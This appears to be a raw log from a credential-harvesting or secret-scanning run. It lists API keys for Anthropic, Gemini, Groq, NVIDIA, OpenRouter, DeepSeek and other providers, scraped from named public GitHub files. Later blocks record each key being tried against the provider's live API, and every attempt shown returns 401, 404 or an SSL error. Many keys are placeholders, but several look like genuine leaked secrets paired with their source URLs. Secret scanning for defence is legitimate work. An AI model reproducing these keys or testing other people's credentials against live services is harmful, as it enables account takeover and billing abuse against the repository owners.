sk-ant-api03-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabb|https://github.com/azerozero/grob/blob/53a4c2947b8620cfacfa05fce9190236afb1e917/src/features/dlp/builtins.rs|{"field": "sk-ant"}
sk-ant-api03-abcdefghijklmnopqrstuvwxyz|https://github.com/spacedriveapp/spacebot/blob/ac52277404d3813045aa053b78c95810ab85e7c5/src/api/state.rs|{"field": "sk-ant"}
sk-ant-api03-abcdefghijklmnopqrstuvwxyz0123456789ABCD|https://github.com/profbernardoj/everclaw-community-branches/blob/7ea3b445ee7d2ef8004d5ee77dab7544e1b8ef88/skills/bagman/examples/sanitizer.py|{"field": "sk-ant"}
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|https://github.com/cefothe/hitl-engineering-jprime-2026-workshop/blob/2a0b37442a2a659c1a6f6a6f7f2714d4ce161e35/key.txt|{"field": "sk-ant"}
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|https://github.com/kanlanc/TMD-Misinformation-Checker/blob/b151e56fb9c90fe644d513fcdf20dd33a62bdde3/app.py|{"field": "sk-ant"}
sk-ant-api03-dummy-key-000000000000000000000000000000000000000000000000AA|https://github.com/nilupulk/claude-code-free/blob/34b0eb6af664b7eb13c9c65f4c7e1a6e9c5f62cf/README.md|{"field": "sk-ant"}
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|https://github.com/OzCog/mad9ml/blob/b586d61930b3f6da7663b500e5841e3f95e6e177/kvx.md|{"field": "sk-ant"}
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|https://github.com/wattgod/gravel-race-automation/blob/9611f7dab0326314e045b786384edbfb68a8f42e/docs/GITHUB_SETUP.md|{"field": "sk-ant"}
sk-ant-api03-pcod6mAxe3v7NPbGkM9Ir5ADeijaDe6DAE|https://github.com/woodharter/lotsol/blob/0ea5240117a5260f50840055ae6de69fb4800c17/README.md|{"field": "sk-ant"}
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|https://github.com/cefothe/hitl-engineering-jprime-2026-workshop/blob/2a0b37442a2a659c1a6f6a6f7f2714d4ce161e35/key.txt|{"field": "sk-ant"}
sk-ant-api03-realkey123456789012345678|https://github.com/crystal-autobot/autobot/blob/5296696880b3f3fa3a3d7b70d8f864c814704bf9/spec/autobot/config/security_validator_spec.cr|{"field": "sk-ant"}
sk-ant-api03-seu_token_anthropic|https://github.com/emingues-xx/claude-webhook/blob/41350e4fea40fb276c8d9e2565398cea3d47c5fd/RAILWAY_DEPLOY.md|{"field": "sk-ant"}
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|https://github.com/xiaoju111a/op/blob/d53bdc0d56c5da6fcc87045ac74b82b76bfa57b2/README.md|{"field": "sk-ant"}
sk-ant-api03-test1234567890abcdef|https://github.com/Teeeep/prompt-chess/blob/edf396088b5d677dc39c93cd3ec705056ab37ed0/spec/services/llm_config_service_spec.rb|{"field": "sk-ant"}
sk-ant-api03-testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest01|https://github.com/spanforge/sf-keyaudit/blob/42b9a6af119081cb464e5e2e31fc0f9c83b9ba46/docs/entropy-confidence.md|{"field": "sk-ant"}
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|https://github.com/Lahari-tech845/AMI/blob/4c5237b7d699a7994c9ee099c5d0d6e2f2a80531/AMI_demo.py|{"field": "sk-ant"}
sk-ant-api03-tu_clave_real_aqui|https://github.com/veasv2/mdc-bot/blob/216beaa39ee5424a0f3998444cebbec07ff8323b/docs/CLAUDE_SETUP.md|{"field": "sk-ant"}
sk-ant-api03-your-actual-key-here|https://github.com/vishalharkal15/AIBrowseX-/blob/78006320e522b6cddfa218e3a7a45cbfcbf38a11/GETTING_STARTED.txt|{"field": "sk-ant"}
sk-ant-api03-your-anthropic-key-here|https://github.com/IgnacioCastillo05/Tarea-4Part2_TDSE/blob/53ac209dda0c54faa9d831181b593de54c0df16d/README.md|{"field": "sk-ant"}
sk-ant-api03-your-api-key-here|https://github.com/sulaiman013/chat-with-your-data-fabric-PowerBI-/blob/18a79a5d8fb9144d4407a53f72c0568f5ff856f0/README.md|{"field": "sk-ant"}
sk-ant-api03-your_anthropic_key_here|https://github.com/sylvainbonnecarrere/A-IR-OB1/blob/c50d349fd7c9157c2eb80bc4358a1a8bdf52acdd/docs/SECURITY.md|{"field": "sk-ant"}
@@ -0,0 +1,39 @@
sk-ant-api03-dummy-key-000000000000000000000000000000000000000000000000AA|https://github.com/nilupulk/claude-code-free/blob/34b0eb6af664b7eb13c9c65f4c7e1a6e9c5f62cf/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-663526-0000-0000-0000-000000000000|https://github.com/koding-fantasi/kontas-web/blob/6508fa8ba3908ba81bcf20154503566f22d8053c/env.txt|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-pcod6mAxe3v7NPbGkM9Ir5ADeijaDe6DAE|https://github.com/woodharter/lotsol/blob/0ea5240117a5260f50840055ae6de69fb4800c17/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-your-api-key-here|https://github.com/sulaiman013/chat-with-your-data-fabric-PowerBI-/blob/18a79a5d8fb9144d4407a53f72c0568f5ff856f0/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
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|https://github.com/cefothe/hitl-engineering-jprime-2026-workshop/blob/2a0b37442a2a659c1a6f6a6f7f2714d4ce161e35/key.txt|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
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|https://github.com/xiaoju111a/op/blob/d53bdc0d56c5da6fcc87045ac74b82b76bfa57b2/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-YOUR-REAL-KEY-HERE|https://github.com/Yehonatan-Bar/skill-mill/blob/891c0fd9da57b78be880d44a9e7a9c0683dde5d4/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-A1B2C3D4E5F6G7H8I9J0|https://github.com/serkanh/sre-bot/blob/ecefbaaf54be965488d49edb1227d3e67aeebbb3/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
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|https://github.com/Ladorigvava/thekeyssystemstricoreai/blob/9c732cde12a14f7ef466ee9bde841f8b54e5c652/.env.txt|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
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|https://github.com/cefothe/hitl-engineering-jprime-2026-workshop/blob/2a0b37442a2a659c1a6f6a6f7f2714d4ce161e35/key.txt|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-realkey123456789012345678|https://github.com/crystal-autobot/autobot/blob/5296696880b3f3fa3a3d7b70d8f864c814704bf9/spec/autobot/config/security_validator_spec.cr|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-abcdefghijklmnopqrstuvwxyz|https://github.com/spacedriveapp/spacebot/blob/ac52277404d3813045aa053b78c95810ab85e7c5/src/api/state.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
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|https://github.com/ArnavBhalla/Forge/blob/95dd629009a23dd040200291928d1d358bf07b92/api.txt|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
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|https://github.com/OzCog/mad9ml/blob/b586d61930b3f6da7663b500e5841e3f95e6e177/kvx.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabb|https://github.com/azerozero/grob/blob/53a4c2947b8620cfacfa05fce9190236afb1e917/src/features/dlp/builtins.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|https://github.com/burakdede/aisw/blob/be32800cabc9dc2648cf8f5dc7c4e862216bafd1/src/commands/add.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-KHuz9SXDBUVfEaJwxqa3eH9x3C64GZmgrmLxC-8n-CJFt50Amcntr5zE62blgqbtwmHZpxwrXoo4d7gs2aS_KQ-J-EoBwAA|https://github.com/abdul-hanan79/GlucoGuide-AI/blob/98701a03fbbf4f1402cdcf6e2ed4a145a36b454e/app.py|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-KHuz9SXDBUVfEaJwxqa3eH9x3C64GZmgrmLxC-|https://github.com/abdul-hanan79/GlucoGuide-AI/blob/98701a03fbbf4f1402cdcf6e2ed4a145a36b454e/app.py|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-abcdefghijklmnopqrstuvwxyz0123456789ABCD|https://github.com/profbernardoj/everclaw-community-branches/blob/7ea3b445ee7d2ef8004d5ee77dab7544e1b8ef88/skills/bagman/examples/sanitizer.py|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-1234567890abcdefghijklmnopqrstuvwxyz|https://github.com/i-rtfsc/NeuraDock/blob/49feee2d4612e73e8b98f920c3c88b4e9cb39300/apps/desktop/src-tauri/crates/neuradock-infrastructure/src/logging/log_utils.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-seu_token_anthropic|https://github.com/emingues-xx/claude-webhook/blob/41350e4fea40fb276c8d9e2565398cea3d47c5fd/RAILWAY_DEPLOY.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-AbCdEf1234567890GhIjKlMnOpQrStUvWxYzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy01|https://github.com/spanforge/sf-keyaudit/blob/42b9a6af119081cb464e5e2e31fc0f9c83b9ba46/docs/entropy-confidence.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000|https://github.com/evenfire-ai/evenfire/blob/3b70c68249f07f8896654820946fc4feb204c8a4/.env.test|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-AbCdEf1234567890_xyz|https://github.com/jessefreitas/OmniRift/blob/49c3665aa40d23df58267eca78195a1e5b6497e8/apps/desktop/src-tauri/src/redactor.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
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|https://github.com/Lahari-tech845/AMI/blob/4c5237b7d699a7994c9ee099c5d0d6e2f2a80531/AMI_demo.py|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-YOUR_ANTHROPIC_API_KEY_HERE|https://github.com/Rishi-Dev-pro/Mochi/blob/d0e9c22467f0b3ee7db752dde25b758839533724/docs/SETUP.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest01|https://github.com/spanforge/sf-keyaudit/blob/42b9a6af119081cb464e5e2e31fc0f9c83b9ba46/docs/entropy-confidence.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-tu_clave_real_aqui|https://github.com/veasv2/mdc-bot/blob/216beaa39ee5424a0f3998444cebbec07ff8323b/docs/CLAUDE_SETUP.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-1234567890abcdefghijklmnopqrstuvwxyz-1234567890ABCDEFGHIJ|https://github.com/sooogooo/Mythology-Narratology/blob/6bffd2419dfe6ecad971f1a846b16393f863fa6c/API_KEYS_GUIDE.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-ZZZZZZZZZZZZ1234567890|https://github.com/jessefreitas/OmniRift/blob/49c3665aa40d23df58267eca78195a1e5b6497e8/apps/desktop/src-tauri/src/redactor.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
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|https://github.com/YWU99u/WiseMind-DDx-Psyc/blob/4e1ed40627a51d57b4d51addbd2f5550c252d851/src/.env|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
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|https://github.com/kanlanc/TMD-Misinformation-Checker/blob/b151e56fb9c90fe644d513fcdf20dd33a62bdde3/app.py|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-your-anthropic-key-here|https://github.com/IgnacioCastillo05/Tarea-4Part2_TDSE/blob/53ac209dda0c54faa9d831181b593de54c0df16d/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-your_anthropic_key_here|https://github.com/sylvainbonnecarrere/A-IR-OB1/blob/c50d349fd7c9157c2eb80bc4358a1a8bdf52acdd/docs/SECURITY.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-AbCdEfGhIjKlMnOpQrStUv0123456789AbCdEf|https://github.com/RodCor/kimetsu/blob/8e3088ceab76e185f075f4c3fbab25d3c962c297/crates/kimetsu-brain/src/ingest.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-your-actual-key-here|https://github.com/vishalharkal15/AIBrowseX-/blob/78006320e522b6cddfa218e3a7a45cbfcbf38a11/GETTING_STARTED.txt|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
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|https://github.com/harishathithya/The-one-for-me/blob/00de0128b11be27e7b84ae55be77821a3dbdf4b8/.env|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
sk-ant-api03-test1234567890abcdef|https://github.com/Teeeep/prompt-chess/blob/edf396088b5d677dc39c93cd3ec705056ab37ed0/spec/services/llm_config_service_spec.rb|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
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|https://github.com/wattgod/gravel-race-automation/blob/9611f7dab0326314e045b786384edbfb68a8f42e/docs/GITHUB_SETUP.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
@@ -0,0 +1 @@
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U|https://github.com/profbernardoj/everclaw-community-branches/blob/7ea3b445ee7d2ef8004d5ee77dab7544e1b8ef88/skills/bagman/examples/sanitizer.py|{"field": "oauth-jwt"}|HTTP 404: {"type":"error","error":{"type":"not_found_error","message":
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1 @@
API Key Policies|https://github.com/ThinkWatchProject/ThinkWatch/blob/0dd0945583c79b228ec179b8ad07a131ea49f6d6/web/src/i18n/en.json|{"provider": "?", "field": "settings.apiKeysConfig"}|401
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1,2 @@
7a766920-d460-47e9-8aae-530234851bca|https://github.com/CraigglesO/.config/blob/650c20536783af928d07e6d9bc9c96037bb5eb35/helix/languages.toml|{"source": "env"}
c6b5b5b3-7872-4a64-a404-189f5bdb4e03|https://github.com/t-mo77/book-recomendation/blob/8ead2c0f44538a12fbbf89e56cc9cc428764d0bf/.codeium/config.json|{"source": "config.json"}
@@ -0,0 +1 @@
7a766920-d460-47e9-8aae-530234851bca|https://github.com/CraigglesO/.config/blob/650c20536783af928d07e6d9bc9c96037bb5eb35/helix/languages.toml|{"source": "env"}|401 {"code":"unauthenticated","message":"missing auth token (trace ID: 8361f9957d8e8
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1 @@
c6b5b5b3-7872-4a64-a404-189f5bdb4e03|https://github.com/t-mo77/book-recomendation/blob/8ead2c0f44538a12fbbf89e56cc9cc428764d0bf/.codeium/config.json|{"source": "config.json"}|net:SSLError:[SSL: SSLV3_ALERT_BAD_RECORD_MAC] sslv3 alert bad record mac (_ssl.c:2546)
Whitespace-only changes.
@@ -0,0 +1,33 @@
${LITELLM_MASTER_KEY}|https://github.com/th-efool/localLLM_Orchestrator/blob/30e872b9c4a46d0338113484e720bf02c6b8dedb/config-examples/continue.config.json|{"model": "phi4", "provider": "openai"}
09sTj5pTuUbKcQGsShQC8gtftKP7R8VF|https://github.com/gevalinho/conduitbox_bank/blob/47ee868604698348c40bc8d565d4752be6a151ce/tsconfig.json|{"field": "tabAutocompleteModel"}
11fa547803ecbbf7714e95b5bcb8e2f9ca8c42723e73d9f76b1a60d70b42e197|https://github.com/JitenSabharwal/JARVIS-AI-OS/blob/ea920943c259d40009679e52ec4b266ee1c52dcf/.continue/config.legacy.json|{"model": "jarvis-default", "provider": "openai"}
644fe2b6e4ce9301796615494a1766bd|https://github.com/bbalakriz/dotnet-web-simple-devspaces/blob/df22e6a405a626813790f7020fe9d17b27cade49/.continuerc.json|{"model": "granite-8b-code-instruct-128k", "provider": "openai"}
8c313c111b47423aa91781479cf0af6e.LfWV1laJpyWEHH1z|https://github.com/khaledbashir/ownllm1/blob/ed708f2864728e19f6329056675d64579facd16e/.continue/config.json|{"model": "glm-4.7", "provider": "openai"}
AIzaSyAg1-yfLdo4514L8qdejVN1WYZomptIuFU|https://github.com/ron-thecertifiedbomb/lizardinteractive.online_client/blob/f10abffe502791a5456207ec51cfb603355e5e4e/config.json|{"model": "gemini-2.5-flash-lite-latest", "provider": "gemini"}
AIzaSyAseka4ybW-EovMRe8wO4a40obskHp9zBE|https://github.com/jlucbonneau33-dot/Jean-Luc/blob/9930b8f578efffb0dd892fbb2cf6a3432ff1cc0c/.continue/config.json|{"model": "gemini-2.0-flash", "provider": "gemini"}
AQ.Ab8RN6JIF5ahHQ21e5jx52YQAHdSxFPF0fSKpdbEGRU3nfXROw|https://github.com/Silvinhojm/criptomorse/blob/8ddf4ccce8b7de3ed60fa93a8b960fb4c43a85cd/config.example.json|{"model": "gemini-1.5-pro", "provider": "gemini"}
AQAb8RN6JqEX_s1sLar2yXE932eCDI7dPmuwvytoFjN0M6my_10A|https://github.com/frutapurapoupas/valente-conecta/blob/e6445604e39535b81f08c1fa9b3906a1ae8b2b18/config.json|{"model": "gemini-1.5-pro", "provider": "google"}
D35nZHM8jxzFdw8DBzMxkih6q4x4uUd8|https://github.com/Offren/RSS-aggregator-Xpath-scraper/blob/3731867e30d90d92f938ef10d2ccd5fa7aed74ad/.continue/config.json|{"field": "tabAutocompleteModel"}
EJIBxODCZyJOCAdvqSdcYOBZGlT38HjU|https://github.com/nuxdie/money_v2/blob/62e0bc69564e47bebda5320c2eab2ffa14de6af4/.continuerc.json|{"field": "tabAutocompleteModel"}
FZXyvvOZ0SRkVb1pUaAykf4jGR0ixGDq|https://github.com/noemisanalex74/autogestionpro/blob/c5b8d6887776d949c527aecf85e99520aca69697/config/continue.config.json|{"field": "tabAutocompleteModel"}
INSERISCI_LA_TUA_KEY_QUI|https://github.com/xnemesy/Fyne/blob/b325e0fdd9413516682ce3b16fb7e1d5392dafdc/.continue/config.json|{"model": "moonshot-v1-8k", "provider": "openai"}
YOUR_GITHUB_TOKEN_HERE|https://github.com/emrahbadas/electron/blob/4864bd2e089317fd9fbfee12d21caf67dd17b72e/.continue/config.json|{"model": "gpt-4o", "provider": "openai"}
aFJAAt0XckRMkVMeeAzIioEKacFBRSSe|https://github.com/dgokcin/dotfiles/blob/15a153a2e64d466d95c66b48d7cfcef48d5c14bc/ai-stuff/continue/config.json|{"model": "codestral-latest", "provider": "mistral"}
con-e4ed7e203f962628a36ee33d4a91f40a8c4aad3d2a1ad187998b29c050a32539c|https://github.com/HanyWell/hany-beats-blog/blob/7dea4a29120a5efcdf9f0cf3a650c121b8aa1807/.continue/config.json|{"model": "claude-3-5-sonnet-20241022", "provider": "anthropic"}
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|https://github.com/nuxdie/money_v2/blob/62e0bc69564e47bebda5320c2eab2ffa14de6af4/.continuerc.json|{"model": "llama3-70b", "provider": "groq"}
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|https://github.com/DirtyCritic/wordle/blob/236dba629b8fda5d2e8457c950df02639647e850/~/.continue/config.json|{"model": "meta/llama-3.1-70b-instruct", "provider": "openai"}
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|https://github.com/gautamshubhamramcharan-prog/factorynerve/blob/dd4c6d07d21905c51cb768a2dfa7e610746010b7/.continue/config.json|{"model": "qwen/qwen3-next-80b-a3b-instruct", "provider": "openai"}
optional-tentaclaw-api-key|https://github.com/TentaCLAW-OS/TentaCLAW/blob/559be77f02bced23f1638e60d95828fea1c1bd99/integrations/continue-dev/config.json|{"model": "llama3.1:8b", "provider": "openai"}
sk-1ed0d***********************0d94|https://github.com/aymanalmousa1991-afk/barbershop-mo-ma/blob/232026c494c0eaba92f137bb360c8ededdf3a39c/.continue/config.json|{"model": "deepseek-chat", "provider": "openai"}
sk-2b3d2a872c9046f8a309b15a1200c22a|https://github.com/drJanW/Kwal27/blob/d7d3dc48ff96f5ee33f4020f40820ef08f3d7433/.continue/config.json|{"model": "deepseek-v4-pro", "provider": "deepseek"}
sk-8ff9a856f5ea4c638fcd715c65655218|https://github.com/harshitsingh85420/HmarePanditJi/blob/28e30dcc7bd6aec38f67c977065641a7ef173022/.continue-config.json|{"model": "deepseek-chat", "provider": "openai"}
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|https://github.com/Offren/RSS-aggregator-Xpath-scraper/blob/3731867e30d90d92f938ef10d2ccd5fa7aed74ad/.continue/config.json|{"model": "claude-3-5-sonnet-20240620", "provider": "anthropic"}
sk-b4fbad865d874bb4a2a8881ce40773fd|https://github.com/Angus-Paillaugue/.dotfiles/blob/9794dc6639633a5c487c62885597779d5111c48a/links/.config/VSCodium/User/User/History/165b1fcd/FZqw.json|{"model": "AUTODETECT", "provider": "ollama"}
sk-d2a3f732d6f748289f84adf3ce875715|https://github.com/Cagedcarrow/UR10_Matlab_shovel_test/blob/db1bcc9caa5205c4a0731e16dd78b12650ba1761/config.json|{"model": "deepseek-chat", "provider": "deepseek"}
sk-lm-iwHFr0Xk:nEghLayTOWBJpO5YmxpF|https://github.com/hhoomph/nextjs_estore/blob/721bf68ff109553e8e3c7a0e52589c3f1c25c5af/.continue/config.json|{"model": "qwen-coder2.5-7b", "provider": "lmstudio"}
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|https://github.com/valentinuuiuiu/piata-ro-project/blob/62bf718032187f8454d305cdce4aecb807216487/piata-ro-project/.continue/config.json|{"model": "x-ai/grok-4.1-fast:free", "provider": "openrouter"}
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|https://github.com/eddiejdi/eddie-auto-dev/blob/ed66b83fd49c09635d27a354e9972c8d5d0d4991/.continue/config.json|{"model": "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", "provider": "openrouter"}
your-SambaNovaCloud-api-key|https://github.com/PearlynnT/CyberKnowledgeHub/blob/128235a7fbc4dbc2737c86f95ca0bfabfd53bc93/code_copilot/config.json|{"model": "Meta-Llama-3.1-8B-Instruct", "provider": "sambanova"}
your-garraia-api-key-here|https://github.com/michelbr84/GarraRUST/blob/1a477471512d38a4b14ff890af78bec640f2a097/docs/vscode/continue-config.json|{"model": "gpt-4o", "provider": "openai"}
your-virtual-api-key-here|https://github.com/kriuchkov/oxidegate/blob/69bd702805ff029f363e53bdf285e804cf200139/examples/continue-config.json|{"model": "code-completion", "provider": "openai"}
your-xai-api-key-here|https://github.com/wsg788/androidfakcam/blob/f9e925203fe02e6cb5d8a190643a7fa5af2f90b3/.continue/config.json|{"model": "grok-code-fast-1", "provider": "openai"}
@@ -0,0 +1,33 @@
AIzaSyAg1-yfLdo4514L8qdejVN1WYZomptIuFU|https://github.com/ron-thecertifiedbomb/lizardinteractive.online_client/blob/f10abffe502791a5456207ec51cfb603355e5e4e/config.json|{"model": "gemini-2.5-flash-lite-latest", "provider": "gemini"}|401
your-garraia-api-key-here|https://github.com/michelbr84/GarraRUST/blob/1a477471512d38a4b14ff890af78bec640f2a097/docs/vscode/continue-config.json|{"model": "gpt-4o", "provider": "openai"}|401
aFJAAt0XckRMkVMeeAzIioEKacFBRSSe|https://github.com/dgokcin/dotfiles/blob/15a153a2e64d466d95c66b48d7cfcef48d5c14bc/ai-stuff/continue/config.json|{"model": "codestral-latest", "provider": "mistral"}|401
09sTj5pTuUbKcQGsShQC8gtftKP7R8VF|https://github.com/gevalinho/conduitbox_bank/blob/47ee868604698348c40bc8d565d4752be6a151ce/tsconfig.json|{"field": "tabAutocompleteModel"}|401
your-virtual-api-key-here|https://github.com/kriuchkov/oxidegate/blob/69bd702805ff029f363e53bdf285e804cf200139/examples/continue-config.json|{"model": "code-completion", "provider": "openai"}|401
FZXyvvOZ0SRkVb1pUaAykf4jGR0ixGDq|https://github.com/noemisanalex74/autogestionpro/blob/c5b8d6887776d949c527aecf85e99520aca69697/config/continue.config.json|{"field": "tabAutocompleteModel"}|401
8c313c111b47423aa91781479cf0af6e.LfWV1laJpyWEHH1z|https://github.com/khaledbashir/ownllm1/blob/ed708f2864728e19f6329056675d64579facd16e/.continue/config.json|{"model": "glm-4.7", "provider": "openai"}|401
sk-lm-iwHFr0Xk:nEghLayTOWBJpO5YmxpF|https://github.com/hhoomph/nextjs_estore/blob/721bf68ff109553e8e3c7a0e52589c3f1c25c5af/.continue/config.json|{"model": "qwen-coder2.5-7b", "provider": "lmstudio"}|401
644fe2b6e4ce9301796615494a1766bd|https://github.com/bbalakriz/dotnet-web-simple-devspaces/blob/df22e6a405a626813790f7020fe9d17b27cade49/.continuerc.json|{"model": "granite-8b-code-instruct-128k", "provider": "openai"}|401
sk-8ff9a856f5ea4c638fcd715c65655218|https://github.com/harshitsingh85420/HmarePanditJi/blob/28e30dcc7bd6aec38f67c977065641a7ef173022/.continue-config.json|{"model": "deepseek-chat", "provider": "openai"}|401
your-SambaNovaCloud-api-key|https://github.com/PearlynnT/CyberKnowledgeHub/blob/128235a7fbc4dbc2737c86f95ca0bfabfd53bc93/code_copilot/config.json|{"model": "Meta-Llama-3.1-8B-Instruct", "provider": "sambanova"}|401
con-e4ed7e203f962628a36ee33d4a91f40a8c4aad3d2a1ad187998b29c050a32539c|https://github.com/HanyWell/hany-beats-blog/blob/7dea4a29120a5efcdf9f0cf3a650c121b8aa1807/.continue/config.json|{"model": "claude-3-5-sonnet-20241022", "provider": "anthropic"}|401
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|https://github.com/nuxdie/money_v2/blob/62e0bc69564e47bebda5320c2eab2ffa14de6af4/.continuerc.json|{"model": "llama3-70b", "provider": "groq"}|401
AQ.Ab8RN6JIF5ahHQ21e5jx52YQAHdSxFPF0fSKpdbEGRU3nfXROw|https://github.com/Silvinhojm/criptomorse/blob/8ddf4ccce8b7de3ed60fa93a8b960fb4c43a85cd/config.example.json|{"model": "gemini-1.5-pro", "provider": "gemini"}|401
optional-tentaclaw-api-key|https://github.com/TentaCLAW-OS/TentaCLAW/blob/559be77f02bced23f1638e60d95828fea1c1bd99/integrations/continue-dev/config.json|{"model": "llama3.1:8b", "provider": "openai"}|401
EJIBxODCZyJOCAdvqSdcYOBZGlT38HjU|https://github.com/nuxdie/money_v2/blob/62e0bc69564e47bebda5320c2eab2ffa14de6af4/.continuerc.json|{"field": "tabAutocompleteModel"}|401
INSERISCI_LA_TUA_KEY_QUI|https://github.com/xnemesy/Fyne/blob/b325e0fdd9413516682ce3b16fb7e1d5392dafdc/.continue/config.json|{"model": "moonshot-v1-8k", "provider": "openai"}|401
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|https://github.com/gautamshubhamramcharan-prog/factorynerve/blob/dd4c6d07d21905c51cb768a2dfa7e610746010b7/.continue/config.json|{"model": "qwen/qwen3-next-80b-a3b-instruct", "provider": "openai"}|401
${LITELLM_MASTER_KEY}|https://github.com/th-efool/localLLM_Orchestrator/blob/30e872b9c4a46d0338113484e720bf02c6b8dedb/config-examples/continue.config.json|{"model": "phi4", "provider": "openai"}|401
sk-1ed0d***********************0d94|https://github.com/aymanalmousa1991-afk/barbershop-mo-ma/blob/232026c494c0eaba92f137bb360c8ededdf3a39c/.continue/config.json|{"model": "deepseek-chat", "provider": "openai"}|401
YOUR_GITHUB_TOKEN_HERE|https://github.com/emrahbadas/electron/blob/4864bd2e089317fd9fbfee12d21caf67dd17b72e/.continue/config.json|{"model": "gpt-4o", "provider": "openai"}|401
AQAb8RN6JqEX_s1sLar2yXE932eCDI7dPmuwvytoFjN0M6my_10A|https://github.com/frutapurapoupas/valente-conecta/blob/e6445604e39535b81f08c1fa9b3906a1ae8b2b18/config.json|{"model": "gemini-1.5-pro", "provider": "google"}|401
11fa547803ecbbf7714e95b5bcb8e2f9ca8c42723e73d9f76b1a60d70b42e197|https://github.com/JitenSabharwal/JARVIS-AI-OS/blob/ea920943c259d40009679e52ec4b266ee1c52dcf/.continue/config.legacy.json|{"model": "jarvis-default", "provider": "openai"}|401
AIzaSyAseka4ybW-EovMRe8wO4a40obskHp9zBE|https://github.com/jlucbonneau33-dot/Jean-Luc/blob/9930b8f578efffb0dd892fbb2cf6a3432ff1cc0c/.continue/config.json|{"model": "gemini-2.0-flash", "provider": "gemini"}|401
your-xai-api-key-here|https://github.com/wsg788/androidfakcam/blob/f9e925203fe02e6cb5d8a190643a7fa5af2f90b3/.continue/config.json|{"model": "grok-code-fast-1", "provider": "openai"}|401
sk-b4fbad865d874bb4a2a8881ce40773fd|https://github.com/Angus-Paillaugue/.dotfiles/blob/9794dc6639633a5c487c62885597779d5111c48a/links/.config/VSCodium/User/User/History/165b1fcd/FZqw.json|{"model": "AUTODETECT", "provider": "ollama"}|401
